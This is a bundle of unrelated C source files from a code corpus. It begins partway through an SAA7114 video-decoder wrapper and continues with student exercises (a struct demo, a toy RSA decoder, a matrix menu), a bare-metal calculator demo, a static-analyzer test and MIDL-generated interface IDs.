saa7114_set_decoder_vbi_format(start, end, format); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_vbi_enable *----------------------------------------------------------------------------- */ int gfx_set_decoder_vbi_enable(int enable) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_vbi_enable(enable); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_vbi_upscale *----------------------------------------------------------------------------- */ int gfx_set_decoder_vbi_upscale(void) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_vbi_upscale(); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_TV_standard *----------------------------------------------------------------------------- */ int gfx_set_decoder_TV_standard(TVStandardType TVStandard) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_TV_standard(TVStandard); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_set_decoder_luminance_filter *----------------------------------------------------------------------------- */ int gfx_set_decoder_luminance_filter(unsigned char lufi) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_set_decoder_luminance_filter(lufi); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_decoder_software_reset *----------------------------------------------------------------------------- */ int gfx_decoder_software_reset(void) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_decoder_software_reset(); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_decoder_detect_macrovision *----------------------------------------------------------------------------- */ int gfx_decoder_detect_macrovision(void) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_decoder_detect_macrovision(); # endif return (status); } /*----------------------------------------------------------------------------- * gfx_decoder_detect_video *----------------------------------------------------------------------------- */ int gfx_decoder_detect_video(void) { int status = GFX_STATUS_UNSUPPORTED; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) status = saa7114_decoder_detect_video(); # endif return (status); } /*************************************************************/ /* READ ROUTINES | INCLUDED FOR DIAGNOSTIC PURPOSES ONLY */ /*************************************************************/ #if GFX_READ_ROUTINES /*----------------------------------------------------------------------------- * gfx_get_decoder_brightness *----------------------------------------------------------------------------- */ unsigned char gfx_get_decoder_brightness(void) { unsigned char brightness = 0; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) brightness = saa7114_get_decoder_brightness(); # endif return (brightness); } /*----------------------------------------------------------------------------- * gfx_get_decoder_contrast *----------------------------------------------------------------------------- */ unsigned char gfx_get_decoder_contrast(void) { unsigned char contrast = 0; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) contrast = saa7114_get_decoder_contrast(); # endif return (contrast); } /*----------------------------------------------------------------------------- * gfx_get_decoder_hue *----------------------------------------------------------------------------- */ char gfx_get_decoder_hue(void) { unsigned char hue = 0; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) hue = saa7114_get_decoder_hue(); # endif return ((char)hue); } /*----------------------------------------------------------------------------- * gfx_get_decoder_saturation *----------------------------------------------------------------------------- */ unsigned char gfx_get_decoder_saturation(void) { unsigned char saturation = 0; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) saturation = saa7114_get_decoder_saturation(); # endif return (saturation); } /*----------------------------------------------------------------------------- * gfx_get_decoder_input_offset *----------------------------------------------------------------------------- */ unsigned long gfx_get_decoder_input_offset() { unsigned long offset = 0; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) offset = saa7114_get_decoder_input_offset(); # endif return (offset); } /*----------------------------------------------------------------------------- * gfx_get_decoder_input_size *----------------------------------------------------------------------------- */ unsigned long gfx_get_decoder_input_size() { unsigned long size = 0; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) size = saa7114_get_decoder_input_size(); # endif return (size); } /*----------------------------------------------------------------------------- * gfx_get_decoder_output_size *----------------------------------------------------------------------------- */ unsigned long gfx_get_decoder_output_size() { unsigned long size = 0; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) size = saa7114_get_decoder_output_size(); # endif return (size); } /*----------------------------------------------------------------------------- * gfx_get_decoder_vbi_format *----------------------------------------------------------------------------- */ int gfx_get_decoder_vbi_format(int line) { int format = 0; # if GFX_DECODER_SAA7114 if (gfx_decoder_type == GFX_DECODER_SAA7114) format = saa7114_get_decoder_vbi_format(line); # endif return (format); } #endif /* GFX_READ_ROUTINES */ #endif /* GFX_DECODER_DYNAMIC */ /* END OF FILE */
the_stack_data/620552.c
//Structure #include <stdio.h> #include <string.h> struct Student { char *firstName; char *lastName; char *Major; char *Email; }; int main () { struct Student s; s.firstName = "Gabe"; s.lastName = "Sorensen"; s.Major = "Computer Science"; s.Email = "[email protected]"; printf("The fname for s is: %s\n", s.firstName); printf("The lname for s is: %s\n", s.lastName); printf("The major for s is: %s\n", s.Major); printf("The email for s is: %s\n", s.Email); }
the_stack_data/31386512.c
#include <stdio.h> #include <stdlib.h> #include <math.h> #include <locale.h> int encontraD(int p, int q){ int totiene, d, k; totiene = (p-1) * (q-1); totiene = (int)totiene / 6; if (((totiene*6)+6) % 6 == 0){ k = ((totiene*6)+6) / 6; printf("%d - certo\n", k); } else{ printf("%d - errado", (((totiene*6)+6) % 6)); } d = 4*k-1; return d; } int main(){ setlocale(LC_ALL, ""); int p,q, d, n; long long int pot, decodificado[500]; int bloco[500], i=0; printf("digite p: "); scanf("%d", &p); printf("digite q: "); scanf("%d", &q); n = p*q; d = encontraD(p,q); do{ printf("Digite 0 para sair\ndigite o bloco: "); scanf("%d ", &bloco[i]); fflush(stdin); i++; }while(bloco[i] != 0); for(i = 0; bloco[i] != 0; i++){ pot = pow(bloco[i], d); printf("%lld --", pot); decodificado[i] = pot % n; } /*for(i = 0; decodificado[i] != 0; i++){ printf("%lld ", decodificado[i]); }*/ printf("\n\n"); system("pause"); return 0; }
the_stack_data/69964.c
const int fontAdrs = 0x9018; const int fontCount = 58; const int fontWidth = 5; const int fontHeight = 6; const int pixelWidth = 10; const int pixelHeight = 10; const int width = 1024; const int height = 768; void drawChar (char, int, int, int); //вывод символа <символ>,<х>,<у> void drawString (char*, int, int, int, int, int, int); //вывод символа <строка>,<х>,<у>,<расстояние между букв>, <задержка между выводом> void drawRect(int, int, int, int, int, int); void putPixel(int, int, int); void circle(int x, int y, int r,int color); void rectangle(int x, int y, int a, int b, int color); void wait(int time); int getKey(); int hitKey(); void resetKbd(int key); int atoi(char*); int itoa(int n, char s[]); int start() { char str[] = "SHAPE"; int i,j; // x = 512 y = 384 a = 20 b = 30 startX = 502 startY = 369 for(i=0; i < 3000;i+=40) { circle(0, i, i, 0xff0000); wait(10000); } for(i=0; i < 3000;i+=40) { circle(0, i, i, 0x000000); wait(9000); } int size = 15; for(i=0; i < 400; i+=size) { rectangle(502-2*i/3, 369-i, 20+5*i/4, 30+2*i, 0xffffff); if(i > 40) { rectangle(502-2*(i-size*5)/3, 369-(i-size*5), 20+5*(i-size*5)/4, 30+2*(i-size*5), 0x000000); } wait(50000); } for(i=0; i<25; i+=5) circle(400+i, 394, 100, 0x00ff00); for(i=0; i<100;i+=5) { circle(550+i, 300, 20, 0x00ff00); circle(550+i, 400, 20, 0x00ff00); circle(550+i, 500, 20, 0x00ff00); circle(550, 300+i, 20, 0x00ff00); circle(650, 400+i, 20, 0x00ff00); wait(10000); } drawString(str, 330, 120, 20, 0, 5, 10); wait(900000); drawRect(0, 0, width, height, 0x000000, 1); rectangle(212, 95, 600, 60, 0xffffff); rectangle(212, 175, 600, 60, 0xffffff); rectangle(212, 295, 600, 60, 0xffffff); int len = 0; int line = 110; int A = 0; int B = 0; int menu = 0; int resV = 0; int resLen = 0; char text[] = " "; char result[] = " "; char res[] = "RES"; char enter[] = "ENTER TO CALC"; char esc[] = "ESC TO EXIT"; char bs[] = "BACKSPACE TO RESET"; char reset[] = "R TO REBOOT"; int minusA = 0; int minusB = 0; int minusRes = 0; drawChar('A', 155, 110, 5); drawChar('B', 155, 190, 5); drawString(res, 110, 315, 5, 0, 3, 5); drawRect(217, 470, 30, 3, 0xffffff, 1);//plus drawRect(230, 457, 3, 30, 0xffffff, 1);//plus drawRect(267, 470, 30, 3, 0xffffff, 1);//minus for(i=0; i < 10; i++){ drawRect(317+i*3, 485-i*3, 3, 3, 0xffffff, 1);//mul drawRect(317+i*3, 458+i*3, 3, 3, 0xffffff, 1);//mul drawRect(367+i*3, 485-i*3, 3, 3, 0xffffff, 1);//div } drawString(enter, 215, 530, 5, 0, 13, 5); drawString(esc, 215, 570, 5, 0, 11, 5); drawString(bs, 215, 610, 5, 0, 18, 5); drawString(reset, 215, 650, 5, 0, 11, 5); int btn; while(1){ btn = getKey(); if(btn == 0x01) { // esc btn break; } if(btn == 0x13) { // R btn asm("sti"); resetKbd(0x13); } if(btn == 0x0c) { // minus btn if (line == 110) { minusA = 1 - minusA; } if (line == 190) { minusB = 1 - minusB; } } if(btn == 0x1c) { // enter btn minusRes = 0; drawRect(250, 305, 500, 50, 0x000000, 1); resV = 0; resLen = 0; if(minusA && A > 0) { A *= -1; } if(minusB && B > 0) { B *= -1; } if(menu == 0) { resV = A + B; } if(menu == 1) { resV = A - B; } if(menu == 2) { resV = A * B; } if(menu == 3) { if(B != 0) { resV = A / B; } } if(resV == 0) { result[0] = '0'; drawString(result, 250, 310, 5, 100, 1, 5); } if(resV < 0) { minusRes = 1; resV *= -1; drawRect(220, 320, 20, 5, 0xffffff, 2); } resLen = itoa(resV, result); drawString(result, 250, 310, 5, 100, resLen, 5); } if (len < 7) { if(btn == 0x02) { text[len] = '1'; len++; } if(btn == 0x03) { text[len] = '2'; len++; } if(btn == 0x04) { text[len] = '3'; len++; } if(btn == 0x05) { text[len] = '4'; len++; } if(btn == 0x06) { text[len] = '5'; len++; } if(btn == 0x07) { text[len] = '6'; len++; } if(btn == 0x08) { text[len] = '7'; len++; } if(btn == 0x09) { text[len] = '8'; len++; } if(btn == 0x0A) { text[len] = '9'; len++; } if(btn == 0x0B) { text[len] = '0'; len++; } if(btn == 0x34) { text[len] = 'D'; len++; } } if(btn == 0x50) {// Кнопка вниз if(line == 110) { A = atoi(text); for(i = 0; i < 10; i++) { text[i] = " "; } len = itoa(B, text); line = 190; } else { B = atoi(text); for(i = 0; i < 10; i++) { text[i] = " "; } len = itoa(A, text); line = 110; } } if(btn == 0x48) {// Кнопка вверх if(line == 110) { A = atoi(text); for(i = 0; i < 10; i++) { text[i] = " "; } len = itoa(B, text); line = 190; } else { B = atoi(text); for(i = 0; i < 10; i++) { text[i] = " "; } len = itoa(A, text); line = 110; } } if(btn == 0x4D) {// Кнопка вправо if(menu == 3) { menu = 0; } else { menu++; } } if(btn == 0x4B) {// Кнопка влево if(menu == 0) { menu = 3; } else { menu--; } } if(btn == 0x0e) { // backspace btn drawRect(215, 105, 500, 50, 0x000000, 1); drawRect(215, 185, 500, 50, 0x000000, 1); drawRect(215, 305, 500, 50, 0x000000, 1); A = 0; B = 0; len = 0; minusA = 0; minusB = 0; minusRes = 0; for(i = 0; i < 10; i++) { text[i] = " "; } } resetKbd(btn); drawRect(150, 150, 40, 5, 0x000000, 1); drawRect(150, 230, 40, 5, 0x000000, 1); drawRect(150, line+40, 40, 5, 0xffffff, 1); drawRect(212, 500, 40+3*50, 5, 0x000000, 1); drawRect(212+menu*50, 500, 40, 5, 0xffffff, 1); drawString(text, 250, line, 5, 100, len, 5); drawRect(220, 125, 20, 5, 0x000000, 1); drawRect(220, 205, 20, 5, 0x000000, 1); drawRect(220, 320, 20, 5, 0x000000, 1); if (minusA) drawRect(220, 125, 20, 5, 0xffffff, 2); if (minusB) drawRect(220, 205, 20, 5, 0xffffff, 2); if (minusRes) drawRect(220, 320, 20, 5, 0xffffff, 2); wait(100000); } drawRect(0, 0, 1024, 768, 0x000000, 1); char exit[] = "THE POWER CAN BE TURNED OFF"; drawString(exit, 100, 350, 5, 100, 27, 5); while(1); return 0; } void drawString (char *arr, int x, int y, int space, int wait_t, int length, int size) { int i = 0; while(i<length) { drawChar(*arr, x, y, size); x += space+fontWidth*size; i++; arr++; wait(wait_t); } } void drawChar (char ch, int x, int y, int size) { int pixelHeight = size, pixelWidth = size; int positionChar; char *p = fontAdrs; if( (int)ch == 65) positionChar = 0; if( (int)ch == 66) positionChar = 1; if( (int)ch == 67) positionChar = 2; if( (int)ch == 68) positionChar = 3; if( (int)ch == 69) positionChar = 4; if( (int)ch == 70) positionChar = 5; if( (int)ch == 71) positionChar = 6; if( (int)ch == 72) positionChar = 7; if( (int)ch == 73) positionChar = 8; if( (int)ch == 74) positionChar = 9; if( (int)ch == 75) positionChar = 10; if( (int)ch == 76) positionChar = 11; if( (int)ch == 77) positionChar = 12; if( (int)ch == 78) positionChar = 13; if( (int)ch == 79) positionChar = 14; if( (int)ch == 80) positionChar = 15; if( (int)ch == 81) positionChar = 16; if( (int)ch == 82) positionChar = 17; if( (int)ch == 83) positionChar = 18; if( (int)ch == 84) positionChar = 19; if( (int)ch == 85) positionChar = 20; if( (int)ch == 86) positionChar = 21; if( (int)ch == 87) positionChar = 22; if( (int)ch == 88) positionChar = 23; if( (int)ch == 89) positionChar = 24; if( (int)ch == 90) positionChar = 25; if( (int)ch == 49) positionChar = 60; if( (int)ch == 50) positionChar = 61; if( (int)ch == 51) positionChar = 62; if( (int)ch == 52) positionChar = 63; if( (int)ch == 53) positionChar = 64; if( (int)ch == 54) positionChar = 65; if( (int)ch == 55) positionChar = 66; if( (int)ch == 56) positionChar = 67; if( (int)ch == 57) positionChar = 68; if( (int)ch == 48) positionChar = 59; if( (int)ch == 32) positionChar = 69; for(int i=0; i<positionChar; i++) p += fontWidth*fontHeight; for(int i=y; i<y+fontHeight*pixelHeight; i+=pixelHeight) { for(int j=x; j<x+fontWidth*pixelWidth; j+=pixelWidth) { if (*p == 1){ drawRect(j,i,pixelWidth,pixelHeight, 0xffffff, 2); } p++; } } } void drawRect(int x, int y, int pixelWidth, int pixelHeight, int color, int step) { for(int i=y; i<y+pixelHeight; i+=step) for(int j=x; j<x+pixelWidth; j++) putPixel(j,i,color); } void putPixel(int x,int y,int color){ int *p = 0x8000; char *c=*p; c+=((y*1024)+x)*3; *(int*)c=color; } void circle(int x, int y, int r,int color){ //X,Y - координаты центра, R - радиус, color-цвет int xd = 0; int yd = r; int delta = 1 - 2 * r; int error = 0; while (yd >= 0){ putPixel(x + xd, y + yd, color); putPixel(x + xd, y - yd, color); putPixel(x - xd, y + yd, color); putPixel(x - xd, y - yd, color); error = 2 * (delta + yd) - 1; if ((delta < 0) && (error <= 0)){ delta += 2 * ++xd + 1; continue; } if ((delta > 0) && (error > 0)){ delta -= 2 * --yd + 1; continue; } delta += 2 * (++xd - yd--); } } void wait(int time){ for(int i=0; i<time*100; i++); } void rectangle(int x, int y, int a, int b, int color) { int i; for(i=x; i<x+a;i++) { putPixel(i, y, color); putPixel(i, y+b, color); } for(i=y; i<y+b;i++) { putPixel(x, i, color); putPixel(x+a, i, color); } } int getKey() { asm("mov eax, 0"); asm("in al, 0x60"); } int hitKey() { asm("mov eax, 0"); asm("in al, 0x64"); } void resetKbd(int key) { asm("mov eax, 0"); asm("mov al, [ebp + 4]"); asm("out 0x64, al"); } int atoi(char* s){ int n = 0; while( *s >= '0' && *s <= '9' ) { n *= 10; n += *s++; n -= '0'; } return n; } int itoa(int n, char s[]){ if(n == 0) { return 0; } int i, j, len=0; i = 0; do { /* генерируем цифры в обратном порядке */ s[i++] = n % 10 + '0'; /* берем следующую цифру */ len++; } while ((n /= 10) > 0); /* удаляем */ s[i] = '\0'; char c; for (i = 0, j = len-1; i<j; i++, j--) { c = s[i]; s[i] = s[j]; s[j] = c; } return len; }
the_stack_data/25137772.c
// SKIP PARAM: --sets solver td3 --enable ana.int.interval --enable exp.partition-arrays.enabled --set ana.activated "['base','threadid','threadflag','expRelation','octApron','mallocWrapper']" int main(void) { f1(); } int f1() { int one; int two; int x; one = two; assert(one - two == 0); assert(one == two); x = f2(one,two); assert(one - two == 0); assert(one == two); assert(x == 48); } int f2(int a, int b) { assert(a-b == 0); assert(a == b); return 48; }
the_stack_data/248580097.c
/* ************************************************ username : smmehrab fullname : s.m.mehrabul islam email : [email protected] institute : university of dhaka, bangladesh session : 2017-2018 ************************************************ */ #include<stdio.h> int main() { long long int n,m,a,b,p,i,t; scanf("%lld %lld",&n,&m); a=0; for(i=0;i<n;i++) { scanf("%lld",&t); a+=t; p=(a/m); a%=m; printf("%d ",p); } printf("\n"); return 0; }
the_stack_data/86075568.c
#include <stdio.h> int main(int argc, char const *argv[]) { printf("hello world"); return 0; }
the_stack_data/26460.c
/* this file contains the actual definitions of */ /* the IIDs and CLSIDs */ /* link this file in with the server and any clients */ /* File created by MIDL compiler version 5.01.0164 */ /* at Tue Nov 27 12:11:56 2007 */ /* Compiler settings for C:\Program Files\Microsoft Visual Studio\MyProjects\MIC 2004\CoISRISO\CoISRISO.idl: Oicf (OptLev=i2), W1, Zp8, env=Win32, ms_ext, c_ext error checks: allocation ref bounds_check enum stub_data */ //@@MIDL_FILE_HEADING( ) #ifdef __cplusplus extern "C"{ #endif #ifndef __IID_DEFINED__ #define __IID_DEFINED__ typedef struct _IID { unsigned long x; unsigned short s1; unsigned short s2; unsigned char c[8]; } IID; #endif // __IID_DEFINED__ #ifndef CLSID_DEFINED #define CLSID_DEFINED typedef IID CLSID; #endif // CLSID_DEFINED const IID IID_IISO = {0xC1AD5FF6,0xB607,0x4454,{0x9E,0x7A,0x03,0x52,0x35,0xD4,0x95,0x91}}; const IID LIBID_COISRISOLib = {0x504E57F4,0x7754,0x4804,{0xBB,0x40,0x34,0x7F,0x42,0x3E,0x66,0x8A}}; const CLSID CLSID_ISRISO = {0x86D16BA1,0xE8DD,0x41EC,{0x85,0x4B,0x1B,0x03,0x22,0x81,0xBD,0xA0}}; #ifdef __cplusplus } #endif
the_stack_data/932178.c
int x; long y; extern unsigned long foo (int); extern int main (); unsigned long foo (int x_p1487) { unsigned long i_p1488; i_p1488 = ((unsigned long) x_p1487); return x_p1487; } int main () { int i_p1490; switch (i_p1490) { case 2: foo (i_p1490); goto switchBrk_p1491; case 3: foo (i_p1490); goto switchBrk_p1491; case 5: foo (i_p1490); goto switchBrk_p1491; case 7: foo (i_p1490); goto switchBrk_p1491; default: foo (i_p1490*2); } switchBrk_p1491: ; }
the_stack_data/109697.c
/*5) Faça um programa para ler uma matriz 5x5, cujos elementos são do tipo inteiro. Em seguida, o programa deve possuir um menu com opções para cada uma das seguintes operações: (a) Mostrar todos os elementos da matriz (na forma de uma matriz LxC); (b) Mostrar todos os elementos da quarta linha da matriz e da primeira coluna da matriz; (c) Mostrar a soma dos elementos da diagonal principal; (d) Atribuir o valor 0 para os valores negativos encontrados fora da diagonal principal; (e) Buscar um elemento na matriz. O programa deve ler um valor X e buscar esse valor na matriz e, ao final escrever a localização (linha e coluna) ou uma mensagem de “não encontrado”.*/ #include <stdio.h> #define LIN 5 #define COL 5 int main() { int m[LIN][COL], v[LIN]; int i, j, k=0, soma=0, busca, buscalinha = 0, buscacoluna = 0; char n; for(i=0; i<LIN; i++) { for(j=0; j<COL; j++){ printf("Informe os valores da matriz[%d][%d]: ", i+1, j+1); scanf("%d", &m[i][j]); if(i==j) { v[k]=m[i][j]; k++; } } } printf("======================================================================================"); printf("\nA.Mostrar todos os elementos da matriz.\n"); printf("B.Mostrar todos os elementos da quarta linha da matriz e da primeira coluna da matriz.\n"); printf("C.Mostrar a soma dos elementos da diagonal principal.\n"); printf("D.Atribuir o valor 0 para os valores negativos encontrados fora da diagonal principal.\n"); printf("E.Buscar um elemento na matriz."); printf("\n"); printf("\nEscolha uma alternativa: "); scanf(" %c", &n); printf("======================================================================================"); switch(n) { case'a': printf("\nElementos da matriz\n"); for(i=0; i<LIN; i++) { for(j=0; j<COL; j++){ printf("M[%d][%d]: %d ", i, j, m[i][j]); } printf("\n"); } printf("======================================================================================\n"); break; case'A': printf("\nElementos da matriz\n"); for(i=0; i<LIN; i++) { for(j=0; j<COL; j++){ printf("M[%d][%d]: %d ", i, j, m[i][j]); } printf("\n"); } printf("======================================================================================\n"); break; case'b': for(j=0; j<COL; j++){ printf("\nElementos da quarta linha: %d\n", m[3][j]); } for(i=0; i<LIN; i++){ printf("\nElementos da primeira coluna: %d\n", m[i][0]); } printf("======================================================================================\n"); break; case'B': for(j=0; j<COL; j++){ printf("\nElementos da quarta linha: %d\n", m[3][j]); } for(i=0; i<LIN; i++){ printf("\nElementos da primeira coluna: %d\n", m[i][0]); } printf("======================================================================================\n"); break; case'c': printf("\nElementos da diagonal principal\n"); for(k=0; k<LIN; k++){ printf("%d\n", v[k]); soma = soma + v[k]; } printf("Soma = %d\n", soma); printf("======================================================================================\n"); break; case'C': printf("\nElementos da diagonal principal\n"); for(k=0; k<LIN; k++){ printf("%d\n", v[k]); soma = soma + v[k]; } printf("Soma = %d\n", soma); printf("======================================================================================\n"); break; case'd': printf("\nElementos com zero fora Diagonal da Matriz\n"); for(i=0; i<LIN; i++) { for(j=0; j<COL; j++) { if(i != j && m[i][j]<0){ m[i][j]=0; } printf("%d ", m[i][j]); } printf("\n"); } printf("======================================================================================\n"); break; case'D': printf("\nElementos com zero fora Diagonal da Matriz\n"); for(i=0; i<LIN; i++) { for(j=0; j<COL; j++) { if(i != j && m[i][j]<0){ m[i][j]=0; } printf("%d ", m[i][j]); } printf("\n"); } printf("======================================================================================\n"); break; case'e': printf("\nQual elemento você deseja buscar na matriz?: "); scanf(" %d", &busca); for(i=0; i<LIN; i++) { for(j=0; j<COL; j++) { if(busca == m[i][j]){ buscalinha=i; buscacoluna=j; } } } if(buscacoluna == 0 || buscalinha == 0){ printf("\nValor não encontrado!\n"); } else { printf("\nO valor(%d) buscado está na linha %d, coluna %d.\n", busca, buscalinha + 1, buscacoluna + 1); } printf("======================================================================================"); break; case'E': printf("\nQual elemento você deseja buscar na matriz?: "); scanf(" %d", &busca); for(i=0; i<LIN; i++) { for(j=0; j<COL; j++) { if(busca == m[i][j]){ buscalinha=i; buscacoluna=j; } } } if(buscacoluna == 0 || buscalinha == 0){ printf("\nValor não encontrado!\n"); } else { printf("\nO valor(%d) buscado está na linha %d, coluna %d.\n", busca, buscalinha + 1, buscacoluna + 1); } printf("======================================================================================"); break; } return 0; }